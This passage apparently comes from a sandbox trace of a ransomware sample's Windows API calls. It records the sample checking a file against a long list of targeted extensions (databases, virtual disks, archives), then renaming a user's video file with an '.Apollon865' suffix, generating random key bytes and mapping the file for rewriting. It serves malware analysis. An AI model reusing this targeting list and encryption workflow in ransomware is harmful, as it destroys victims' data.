	[0086.625] lstrcmpiW (lpString1="mkv", lpString2="ba_") returned 1
	[0086.625] lstrlenW (lpString="dbb") returned 3
	[0086.625] lstrcmpiW (lpString1="mkv", lpString2="dbb") returned 1
	[0086.625] lstrlenW (lpString="vmdk") returned 4
	[0086.625] lstrcmpiW (lpString1=".mkv", lpString2="vmdk") returned -1
	[0086.626] lstrlenW (lpString="rar") returned 3
	[0086.626] lstrcmpiW (lpString1="mkv", lpString2="rar") returned -1
	[0086.626] lstrlenW (lpString="zip") returned 3
	[0086.626] lstrcmpiW (lpString1="mkv", lpString2="zip") returned -1
	[0086.626] lstrlenW (lpString="tgz") returned 3
	[0086.626] lstrcmpiW (lpString1="mkv", lpString2="tgz") returned -1
	[0086.626] lstrlenW (lpString="vbox") returned 4
	[0086.626] lstrcmpiW (lpString1=".mkv", lpString2="vbox") returned -1
	[0086.626] lstrlenW (lpString="vdi") returned 3
	[0086.626] lstrcmpiW (lpString1="mkv", lpString2="vdi") returned -1
	[0086.626] lstrlenW (lpString="vhd") returned 3
	[0086.626] lstrcmpiW (lpString1="mkv", lpString2="vhd") returned -1
	[0086.626] lstrlenW (lpString="vhdx") returned 4
	[0086.626] lstrcmpiW (lpString1=".mkv", lpString2="vhdx") returned -1
	[0086.626] lstrlenW (lpString="avhd") returned 4
	[0086.626] lstrcmpiW (lpString1=".mkv", lpString2="avhd") returned -1
	[0086.626] lstrlenW (lpString="db") returned 2
	[0086.626] lstrcmpiW (lpString1="kv", lpString2="db") returned 1
	[0086.626] lstrlenW (lpString="db2") returned 3
	[0086.626] lstrcmpiW (lpString1="mkv", lpString2="db2") returned 1
	[0086.626] lstrlenW (lpString="db3") returned 3
	[0086.626] lstrcmpiW (lpString1="mkv", lpString2="db3") returned 1
	[0086.626] lstrlenW (lpString="dbf") returned 3
	[0086.626] lstrcmpiW (lpString1="mkv", lpString2="dbf") returned 1
	[0086.626] lstrlenW (lpString="mdf") returned 3
	[0086.626] lstrcmpiW (lpString1="mkv", lpString2="mdf") returned 1
	[0086.626] lstrlenW (lpString="mdb") returned 3
	[0086.626] lstrcmpiW (lpString1="mkv", lpString2="mdb") returned 1
	[0086.626] lstrlenW (lpString="sql") returned 3
	[0086.626] lstrcmpiW (lpString1="mkv", lpString2="sql") returned -1
	[0086.626] lstrlenW (lpString="sqlite") returned 6
	[0086.626] lstrcmpiW (lpString1="4V.mkv", lpString2="sqlite") returned -1
	[0086.627] lstrlenW (lpString="sqlite3") returned 7
	[0086.627] lstrcmpiW (lpString1="g4V.mkv", lpString2="sqlite3") returned -1
	[0086.627] lstrlenW (lpString="sqlitedb") returned 8
	[0086.627] lstrcmpiW (lpString1="Fg4V.mkv", lpString2="sqlitedb") returned -1
	[0086.627] lstrlenW (lpString="xml") returned 3
	[0086.627] lstrcmpiW (lpString1="mkv", lpString2="xml") returned -1
	[0086.627] lstrlenW (lpString="$er") returned 3
	[0086.627] lstrcmpiW (lpString1="mkv", lpString2="$er") returned 1
	[0086.627] lstrlenW (lpString="4dd") returned 3
	[0086.627] lstrcmpiW (lpString1="mkv", lpString2="4dd") returned 1
	[0086.627] lstrlenW (lpString="4dl") returned 3
	[0086.627] lstrcmpiW (lpString1="mkv", lpString2="4dl") returned 1
	[0086.627] lstrlenW (lpString="^^^") returned 3
	[0086.627] lstrcmpiW (lpString1="mkv", lpString2="^^^") returned 1
	[0086.627] lstrlenW (lpString="abs") returned 3
	[0086.627] lstrcmpiW (lpString1="mkv", lpString2="abs") returned 1
	[0086.627] lstrlenW (lpString="abx") returned 3
	[0086.627] lstrcmpiW (lpString1="mkv", lpString2="abx") returned 1
	[0086.627] lstrlenW (lpString="accdb") returned 5
	[0086.627] lstrcmpiW (lpString1="V.mkv", lpString2="accdb") returned 1
	[0086.627] lstrlenW (lpString="accdc") returned 5
	[0086.627] lstrcmpiW (lpString1="V.mkv", lpString2="accdc") returned 1
	[0086.627] lstrlenW (lpString="accde") returned 5
	[0086.627] lstrcmpiW (lpString1="V.mkv", lpString2="accde") returned 1
	[0086.627] lstrlenW (lpString="accdr") returned 5
	[0086.627] lstrcmpiW (lpString1="V.mkv", lpString2="accdr") returned 1
	[0086.628] lstrlenW (lpString="accdt") returned 5
	[0086.628] lstrcmpiW (lpString1="V.mkv", lpString2="accdt") returned 1
	[0086.628] lstrlenW (lpString="accdw") returned 5
	[0086.628] lstrcmpiW (lpString1="V.mkv", lpString2="accdw") returned 1
	[0086.628] lstrlenW (lpString="accft") returned 5
	[0086.628] lstrcmpiW (lpString1="V.mkv", lpString2="accft") returned 1
	[0086.628] lstrlenW (lpString="adb") returned 3
	[0086.628] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.628] lstrlenW (lpString="adb") returned 3
	[0086.628] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.628] lstrlenW (lpString="ade") returned 3
	[0086.628] lstrcmpiW (lpString1="mkv", lpString2="ade") returned 1
	[0086.628] lstrlenW (lpString="adf") returned 3
	[0086.628] lstrcmpiW (lpString1="mkv", lpString2="adf") returned 1
	[0086.628] lstrlenW (lpString="adn") returned 3
	[0086.628] lstrcmpiW (lpString1="mkv", lpString2="adn") returned 1
	[0086.628] lstrlenW (lpString="adp") returned 3
	[0086.628] lstrcmpiW (lpString1="mkv", lpString2="adp") returned 1
	[0086.628] lstrlenW (lpString="alf") returned 3
	[0086.628] lstrcmpiW (lpString1="mkv", lpString2="alf") returned 1
	[0086.628] lstrlenW (lpString="ask") returned 3
	[0086.628] lstrcmpiW (lpString1="mkv", lpString2="ask") returned 1
	[0086.628] lstrlenW (lpString="btr") returned 3
	[0086.628] lstrcmpiW (lpString1="mkv", lpString2="btr") returned 1
	[0086.628] lstrlenW (lpString="cat") returned 3
	[0086.628] lstrcmpiW (lpString1="mkv", lpString2="cat") returned 1
	[0086.628] lstrlenW (lpString="cdb") returned 3
	[0086.628] lstrcmpiW (lpString1="mkv", lpString2="cdb") returned 1
	[0086.628] lstrlenW (lpString="ckp") returned 3
	[0086.628] lstrcmpiW (lpString1="mkv", lpString2="ckp") returned 1
	[0086.628] lstrlenW (lpString="cma") returned 3
	[0086.629] lstrcmpiW (lpString1="mkv", lpString2="cma") returned 1
	[0086.629] lstrlenW (lpString="cpd") returned 3
	[0086.629] lstrcmpiW (lpString1="mkv", lpString2="cpd") returned 1
	[0086.629] lstrlenW (lpString="dacpac") returned 6
	[0086.629] lstrcmpiW (lpString1="4V.mkv", lpString2="dacpac") returned -1
	[0086.629] lstrlenW (lpString="dad") returned 3
	[0086.629] lstrcmpiW (lpString1="mkv", lpString2="dad") returned 1
	[0086.629] lstrlenW (lpString="dadiagrams") returned 10
	[0086.629] lstrcmpiW (lpString1="V-Fg4V.mkv", lpString2="dadiagrams") returned 1
	[0086.629] lstrlenW (lpString="daschema") returned 8
	[0086.629] lstrcmpiW (lpString1="Fg4V.mkv", lpString2="daschema") returned 1
	[0086.629] lstrlenW (lpString="db-journal") returned 10
	[0086.629] lstrcmpiW (lpString1="V-Fg4V.mkv", lpString2="db-journal") returned 1
	[0086.629] lstrlenW (lpString="db-shm") returned 6
	[0086.629] lstrcmpiW (lpString1="4V.mkv", lpString2="db-shm") returned -1
	[0086.629] lstrlenW (lpString="db-wal") returned 6
	[0086.629] lstrcmpiW (lpString1="4V.mkv", lpString2="db-wal") returned -1
	[0086.629] lstrlenW (lpString="dbc") returned 3
	[0086.629] lstrcmpiW (lpString1="mkv", lpString2="dbc") returned 1
	[0086.629] lstrlenW (lpString="dbs") returned 3
	[0086.629] lstrcmpiW (lpString1="mkv", lpString2="dbs") returned 1
	[0086.629] lstrlenW (lpString="dbt") returned 3
	[0086.629] lstrcmpiW (lpString1="mkv", lpString2="dbt") returned 1
	[0086.629] lstrlenW (lpString="dbv") returned 3
	[0086.629] lstrcmpiW (lpString1="mkv", lpString2="dbv") returned 1
	[0086.629] lstrlenW (lpString="dbx") returned 3
	[0086.629] lstrcmpiW (lpString1="mkv", lpString2="dbx") returned 1
	[0086.629] lstrlenW (lpString="dcb") returned 3
	[0086.629] lstrcmpiW (lpString1="mkv", lpString2="dcb") returned 1
	[0086.629] lstrlenW (lpString="dct") returned 3
	[0086.629] lstrcmpiW (lpString1="mkv", lpString2="dct") returned 1
	[0086.629] lstrlenW (lpString="dcx") returned 3
	[0086.629] lstrcmpiW (lpString1="mkv", lpString2="dcx") returned 1
	[0086.629] lstrlenW (lpString="ddl") returned 3
	[0086.629] lstrcmpiW (lpString1="mkv", lpString2="ddl") returned 1
	[0086.629] lstrlenW (lpString="dlis") returned 4
	[0086.630] lstrcmpiW (lpString1=".mkv", lpString2="dlis") returned -1
	[0086.630] lstrlenW (lpString="dp1") returned 3
	[0086.630] lstrcmpiW (lpString1="mkv", lpString2="dp1") returned 1
	[0086.630] lstrlenW (lpString="dqy") returned 3
	[0086.630] lstrcmpiW (lpString1="mkv", lpString2="dqy") returned 1
	[0086.630] lstrlenW (lpString="dsk") returned 3
	[0086.630] lstrcmpiW (lpString1="mkv", lpString2="dsk") returned 1
	[0086.630] lstrlenW (lpString="dsn") returned 3
	[0086.630] lstrcmpiW (lpString1="mkv", lpString2="dsn") returned 1
	[0086.630] lstrlenW (lpString="dtsx") returned 4
	[0086.630] lstrcmpiW (lpString1=".mkv", lpString2="dtsx") returned -1
	[0086.630] lstrlenW (lpString="dxl") returned 3
	[0086.630] lstrcmpiW (lpString1="mkv", lpString2="dxl") returned 1
	[0086.630] lstrlenW (lpString="eco") returned 3
	[0086.630] lstrcmpiW (lpString1="mkv", lpString2="eco") returned 1
	[0086.630] lstrlenW (lpString="ecx") returned 3
	[0086.630] lstrcmpiW (lpString1="mkv", lpString2="ecx") returned 1
	[0086.630] lstrlenW (lpString="edb") returned 3
	[0086.630] lstrcmpiW (lpString1="mkv", lpString2="edb") returned 1
	[0086.630] lstrlenW (lpString="epim") returned 4
	[0086.630] lstrcmpiW (lpString1=".mkv", lpString2="epim") returned -1
	[0086.630] lstrlenW (lpString="fcd") returned 3
	[0086.630] lstrcmpiW (lpString1="mkv", lpString2="fcd") returned 1
	[0086.630] lstrlenW (lpString="fdb") returned 3
	[0086.630] lstrcmpiW (lpString1="mkv", lpString2="fdb") returned 1
	[0086.630] lstrlenW (lpString="fic") returned 3
	[0086.630] lstrcmpiW (lpString1="mkv", lpString2="fic") returned 1
	[0086.630] lstrlenW (lpString="flexolibrary") returned 12
	[0086.630] lstrcmpiW (lpString1="eLV-Fg4V.mkv", lpString2="flexolibrary") returned -1
	[0086.630] lstrlenW (lpString="fm5") returned 3
	[0086.630] lstrcmpiW (lpString1="mkv", lpString2="fm5") returned 1
	[0086.630] lstrlenW (lpString="fmp") returned 3
	[0086.630] lstrcmpiW (lpString1="mkv", lpString2="fmp") returned 1
	[0086.630] lstrlenW (lpString="fmp12") returned 5
	[0086.630] lstrcmpiW (lpString1="V.mkv", lpString2="fmp12") returned 1
	[0086.630] lstrlenW (lpString="fmpsl") returned 5
	[0086.631] lstrcmpiW (lpString1="V.mkv", lpString2="fmpsl") returned 1
	[0086.631] lstrlenW (lpString="fol") returned 3
	[0086.631] lstrcmpiW (lpString1="mkv", lpString2="fol") returned 1
	[0086.631] lstrlenW (lpString="fp3") returned 3
	[0086.631] lstrcmpiW (lpString1="mkv", lpString2="fp3") returned 1
	[0086.631] lstrlenW (lpString="fp4") returned 3
	[0086.631] lstrcmpiW (lpString1="mkv", lpString2="fp4") returned 1
	[0086.631] lstrlenW (lpString="fp5") returned 3
	[0086.631] lstrcmpiW (lpString1="mkv", lpString2="fp5") returned 1
	[0086.631] lstrlenW (lpString="fp7") returned 3
	[0086.631] lstrcmpiW (lpString1="mkv", lpString2="fp7") returned 1
	[0086.631] lstrlenW (lpString="fpt") returned 3
	[0086.631] lstrcmpiW (lpString1="mkv", lpString2="fpt") returned 1
	[0086.631] lstrlenW (lpString="frm") returned 3
	[0086.631] lstrcmpiW (lpString1="mkv", lpString2="frm") returned 1
	[0086.631] lstrlenW (lpString="gdb") returned 3
	[0086.631] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1
	[0086.631] lstrlenW (lpString="gdb") returned 3
	[0086.631] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1
	[0086.631] lstrlenW (lpString="grdb") returned 4
	[0086.631] lstrcmpiW (lpString1=".mkv", lpString2="grdb") returned -1
	[0086.631] lstrlenW (lpString="gwi") returned 3
	[0086.631] lstrcmpiW (lpString1="mkv", lpString2="gwi") returned 1
	[0086.631] lstrlenW (lpString="hdb") returned 3
	[0086.631] lstrcmpiW (lpString1="mkv", lpString2="hdb") returned 1
	[0086.631] lstrlenW (lpString="his") returned 3
	[0086.631] lstrcmpiW (lpString1="mkv", lpString2="his") returned 1
	[0086.631] lstrlenW (lpString="ib") returned 2
	[0086.631] lstrcmpiW (lpString1="kv", lpString2="ib") returned 1
	[0086.631] lstrlenW (lpString="idb") returned 3
	[0086.631] lstrcmpiW (lpString1="mkv", lpString2="idb") returned 1
	[0086.631] lstrlenW (lpString="ihx") returned 3
	[0086.631] lstrcmpiW (lpString1="mkv", lpString2="ihx") returned 1
	[0086.631] lstrlenW (lpString="itdb") returned 4
	[0086.631] lstrcmpiW (lpString1=".mkv", lpString2="itdb") returned -1
	[0086.631] lstrlenW (lpString="itw") returned 3
	[0086.632] lstrcmpiW (lpString1="mkv", lpString2="itw") returned 1
	[0086.632] lstrlenW (lpString="jet") returned 3
	[0086.632] lstrcmpiW (lpString1="mkv", lpString2="jet") returned 1
	[0086.632] lstrlenW (lpString="jtx") returned 3
	[0086.632] lstrcmpiW (lpString1="mkv", lpString2="jtx") returned 1
	[0086.632] lstrlenW (lpString="kdb") returned 3
	[0086.632] lstrcmpiW (lpString1="mkv", lpString2="kdb") returned 1
	[0086.632] lstrlenW (lpString="kexi") returned 4
	[0086.632] lstrcmpiW (lpString1=".mkv", lpString2="kexi") returned -1
	[0086.632] lstrlenW (lpString="kexic") returned 5
	[0086.632] lstrcmpiW (lpString1="V.mkv", lpString2="kexic") returned 1
	[0086.632] lstrlenW (lpString="kexis") returned 5
	[0086.632] lstrcmpiW (lpString1="V.mkv", lpString2="kexis") returned 1
	[0086.632] lstrlenW (lpString="lgc") returned 3
	[0086.632] lstrcmpiW (lpString1="mkv", lpString2="lgc") returned 1
	[0086.632] lstrlenW (lpString="lwx") returned 3
	[0086.632] lstrcmpiW (lpString1="mkv", lpString2="lwx") returned 1
	[0086.632] lstrlenW (lpString="maf") returned 3
	[0086.632] lstrcmpiW (lpString1="mkv", lpString2="maf") returned 1
	[0086.632] lstrlenW (lpString="maq") returned 3
	[0086.632] lstrcmpiW (lpString1="mkv", lpString2="maq") returned 1
	[0086.632] lstrlenW (lpString="mar") returned 3
	[0086.632] lstrcmpiW (lpString1="mkv", lpString2="mar") returned 1
	[0086.632] lstrlenW (lpString="marshal") returned 7
	[0086.632] lstrcmpiW (lpString1="g4V.mkv", lpString2="marshal") returned -1
	[0086.632] lstrlenW (lpString="mas") returned 3
	[0086.632] lstrcmpiW (lpString1="mkv", lpString2="mas") returned 1
	[0086.632] lstrlenW (lpString="mav") returned 3
	[0086.632] lstrcmpiW (lpString1="mkv", lpString2="mav") returned 1
	[0086.632] lstrlenW (lpString="maw") returned 3
	[0086.632] lstrcmpiW (lpString1="mkv", lpString2="maw") returned 1
	[0086.632] lstrlenW (lpString="mdbhtml") returned 7
	[0086.632] lstrcmpiW (lpString1="g4V.mkv", lpString2="mdbhtml") returned -1
	[0086.632] lstrlenW (lpString="mdn") returned 3
	[0086.632] lstrcmpiW (lpString1="mkv", lpString2="mdn") returned 1
	[0086.632] lstrlenW (lpString="mdt") returned 3
	[0086.633] lstrcmpiW (lpString1="mkv", lpString2="mdt") returned 1
	[0086.633] lstrlenW (lpString="mfd") returned 3
	[0086.633] lstrcmpiW (lpString1="mkv", lpString2="mfd") returned 1
	[0086.633] lstrlenW (lpString="mpd") returned 3
	[0086.633] lstrcmpiW (lpString1="mkv", lpString2="mpd") returned -1
	[0086.633] lstrlenW (lpString="mrg") returned 3
	[0086.633] lstrcmpiW (lpString1="mkv", lpString2="mrg") returned -1
	[0086.633] lstrlenW (lpString="mud") returned 3
	[0086.633] lstrcmpiW (lpString1="mkv", lpString2="mud") returned -1
	[0086.633] lstrlenW (lpString="mwb") returned 3
	[0086.633] lstrcmpiW (lpString1="mkv", lpString2="mwb") returned -1
	[0086.633] lstrlenW (lpString="myd") returned 3
	[0086.633] lstrcmpiW (lpString1="mkv", lpString2="myd") returned -1
	[0086.633] lstrlenW (lpString="ndf") returned 3
	[0086.633] lstrcmpiW (lpString1="mkv", lpString2="ndf") returned -1
	[0086.633] lstrlenW (lpString="nnt") returned 3
	[0086.633] lstrcmpiW (lpString1="mkv", lpString2="nnt") returned -1
	[0086.633] lstrlenW (lpString="nrmlib") returned 6
	[0086.633] lstrcmpiW (lpString1="4V.mkv", lpString2="nrmlib") returned -1
	[0086.633] lstrlenW (lpString="ns2") returned 3
	[0086.633] lstrcmpiW (lpString1="mkv", lpString2="ns2") returned -1
	[0086.633] lstrlenW (lpString="ns3") returned 3
	[0086.633] lstrcmpiW (lpString1="mkv", lpString2="ns3") returned -1
	[0086.633] lstrlenW (lpString="ns4") returned 3
	[0086.633] lstrcmpiW (lpString1="mkv", lpString2="ns4") returned -1
	[0086.633] lstrlenW (lpString="nsf") returned 3
	[0086.633] lstrcmpiW (lpString1="mkv", lpString2="nsf") returned -1
	[0086.633] lstrlenW (lpString="nv") returned 2
	[0086.633] lstrcmpiW (lpString1="kv", lpString2="nv") returned -1
	[0086.633] lstrlenW (lpString="nv2") returned 3
	[0086.633] lstrcmpiW (lpString1="mkv", lpString2="nv2") returned -1
	[0086.633] lstrlenW (lpString="nwdb") returned 4
	[0086.633] lstrcmpiW (lpString1=".mkv", lpString2="nwdb") returned -1
	[0086.633] lstrlenW (lpString="nyf") returned 3
	[0086.633] lstrcmpiW (lpString1="mkv", lpString2="nyf") returned -1
	[0086.633] lstrlenW (lpString="odb") returned 3
	[0086.634] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1
	[0086.634] lstrlenW (lpString="odb") returned 3
	[0086.634] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1
	[0086.634] lstrlenW (lpString="oqy") returned 3
	[0086.634] lstrcmpiW (lpString1="mkv", lpString2="oqy") returned -1
	[0086.634] lstrlenW (lpString="ora") returned 3
	[0086.634] lstrcmpiW (lpString1="mkv", lpString2="ora") returned -1
	[0086.634] lstrlenW (lpString="orx") returned 3
	[0086.634] lstrcmpiW (lpString1="mkv", lpString2="orx") returned -1
	[0086.634] lstrlenW (lpString="owc") returned 3
	[0086.634] lstrcmpiW (lpString1="mkv", lpString2="owc") returned -1
	[0086.634] lstrlenW (lpString="p96") returned 3
	[0086.634] lstrcmpiW (lpString1="mkv", lpString2="p96") returned -1
	[0086.634] lstrlenW (lpString="p97") returned 3
	[0086.634] lstrcmpiW (lpString1="mkv", lpString2="p97") returned -1
	[0086.634] lstrlenW (lpString="pan") returned 3
	[0086.634] lstrcmpiW (lpString1="mkv", lpString2="pan") returned -1
	[0086.634] lstrlenW (lpString="pdb") returned 3
	[0086.634] lstrcmpiW (lpString1="mkv", lpString2="pdb") returned -1
	[0086.634] lstrlenW (lpString="pdm") returned 3
	[0086.634] lstrcmpiW (lpString1="mkv", lpString2="pdm") returned -1
	[0086.634] lstrlenW (lpString="pnz") returned 3
	[0086.634] lstrcmpiW (lpString1="mkv", lpString2="pnz") returned -1
	[0086.634] lstrlenW (lpString="qry") returned 3
	[0086.634] lstrcmpiW (lpString1="mkv", lpString2="qry") returned -1
	[0086.634] lstrlenW (lpString="qvd") returned 3
	[0086.634] lstrcmpiW (lpString1="mkv", lpString2="qvd") returned -1
	[0086.634] lstrlenW (lpString="rbf") returned 3
	[0086.634] lstrcmpiW (lpString1="mkv", lpString2="rbf") returned -1
	[0086.634] lstrlenW (lpString="rctd") returned 4
	[0086.634] lstrcmpiW (lpString1=".mkv", lpString2="rctd") returned -1
	[0086.634] lstrlenW (lpString="rod") returned 3
	[0086.634] lstrcmpiW (lpString1="mkv", lpString2="rod") returned -1
	[0086.634] lstrlenW (lpString="rodx") returned 4
	[0086.634] lstrcmpiW (lpString1=".mkv", lpString2="rodx") returned -1
	[0086.634] lstrlenW (lpString="rpd") returned 3
	[0086.634] lstrcmpiW (lpString1="mkv", lpString2="rpd") returned -1
	[0086.635] lstrlenW (lpString="rsd") returned 3
	[0086.635] lstrcmpiW (lpString1="mkv", lpString2="rsd") returned -1
	[0086.635] lstrlenW (lpString="sas7bdat") returned 8
	[0086.635] lstrcmpiW (lpString1="Fg4V.mkv", lpString2="sas7bdat") returned -1
	[0086.635] lstrlenW (lpString="sbf") returned 3
	[0086.635] lstrcmpiW (lpString1="mkv", lpString2="sbf") returned -1
	[0086.635] lstrlenW (lpString="scx") returned 3
	[0086.635] lstrcmpiW (lpString1="mkv", lpString2="scx") returned -1
	[0086.635] lstrlenW (lpString="sdb") returned 3
	[0086.635] lstrcmpiW (lpString1="mkv", lpString2="sdb") returned -1
	[0086.635] lstrlenW (lpString="sdc") returned 3
	[0086.635] lstrcmpiW (lpString1="mkv", lpString2="sdc") returned -1
	[0086.635] lstrlenW (lpString="sdf") returned 3
	[0086.635] lstrcmpiW (lpString1="mkv", lpString2="sdf") returned -1
	[0086.635] lstrlenW (lpString="sis") returned 3
	[0086.635] lstrcmpiW (lpString1="mkv", lpString2="sis") returned -1
	[0086.635] lstrlenW (lpString="spq") returned 3
	[0086.635] lstrcmpiW (lpString1="mkv", lpString2="spq") returned -1
	[0086.635] lstrlenW (lpString="te") returned 2
	[0086.635] lstrcmpiW (lpString1="kv", lpString2="te") returned -1
	[0086.635] lstrlenW (lpString="teacher") returned 7
	[0086.635] lstrcmpiW (lpString1="g4V.mkv", lpString2="teacher") returned -1
	[0086.635] lstrlenW (lpString="tmd") returned 3
	[0086.635] lstrcmpiW (lpString1="mkv", lpString2="tmd") returned -1
	[0086.635] lstrlenW (lpString="tps") returned 3
	[0086.635] lstrcmpiW (lpString1="mkv", lpString2="tps") returned -1
	[0086.635] lstrlenW (lpString="trc") returned 3
	[0086.635] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1
	[0086.635] lstrlenW (lpString="trc") returned 3
	[0086.635] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1
	[0086.635] lstrlenW (lpString="trm") returned 3
	[0086.635] lstrcmpiW (lpString1="mkv", lpString2="trm") returned -1
	[0086.635] lstrlenW (lpString="udb") returned 3
	[0086.635] lstrcmpiW (lpString1="mkv", lpString2="udb") returned -1
	[0086.635] lstrlenW (lpString="udl") returned 3
	[0086.635] lstrcmpiW (lpString1="mkv", lpString2="udl") returned -1
	[0086.636] lstrlenW (lpString="usr") returned 3
	[0086.636] lstrcmpiW (lpString1="mkv", lpString2="usr") returned -1
	[0086.636] lstrlenW (lpString="v12") returned 3
	[0086.636] lstrcmpiW (lpString1="mkv", lpString2="v12") returned -1
	[0086.636] lstrlenW (lpString="vis") returned 3
	[0086.636] lstrcmpiW (lpString1="mkv", lpString2="vis") returned -1
	[0086.636] lstrlenW (lpString="vpd") returned 3
	[0086.636] lstrcmpiW (lpString1="mkv", lpString2="vpd") returned -1
	[0086.636] lstrlenW (lpString="vvv") returned 3
	[0086.636] lstrcmpiW (lpString1="mkv", lpString2="vvv") returned -1
	[0086.636] lstrlenW (lpString="wdb") returned 3
	[0086.636] lstrcmpiW (lpString1="mkv", lpString2="wdb") returned -1
	[0086.636] lstrlenW (lpString="wmdb") returned 4
	[0086.636] lstrcmpiW (lpString1=".mkv", lpString2="wmdb") returned -1
	[0086.636] lstrlenW (lpString="wrk") returned 3
	[0086.636] lstrcmpiW (lpString1="mkv", lpString2="wrk") returned -1
	[0086.636] lstrlenW (lpString="xdb") returned 3
	[0086.636] lstrcmpiW (lpString1="mkv", lpString2="xdb") returned -1
	[0086.636] lstrlenW (lpString="xld") returned 3
	[0086.636] lstrcmpiW (lpString1="mkv", lpString2="xld") returned -1
	[0086.636] lstrlenW (lpString="xmlff") returned 5
	[0086.636] lstrcmpiW (lpString1="V.mkv", lpString2="xmlff") returned -1
	[0086.636] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\9EneLV-Fg4V.mkv.Apollon865") returned 82
	[0086.636] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\9EneLV-Fg4V.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hai8-2ik1bcnpces5q\\9enelv-fg4v.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\9EneLV-Fg4V.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hai8-2ik1bcnpces5q\\9enelv-fg4v.mkv.apollon865"), dwFlags=0x1) returned 1
	[0086.639] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\9EneLV-Fg4V.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hai8-2ik1bcnpces5q\\9enelv-fg4v.mkv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.639] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=50411) returned 1
	[0086.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.639] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.640] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.640] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.641] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc7f0, lpName=0x0) returned 0x15c
	[0086.641] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc7f0) returned 0x100000
	[0086.643] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.643] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.643] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.643] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.643] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.643] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.644] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.644] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.644] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.644] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.645] CloseHandle (hObject=0x15c) returned 1
	[0086.645] CloseHandle (hObject=0x9c) returned 1
	[0086.646] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.646] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.646] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
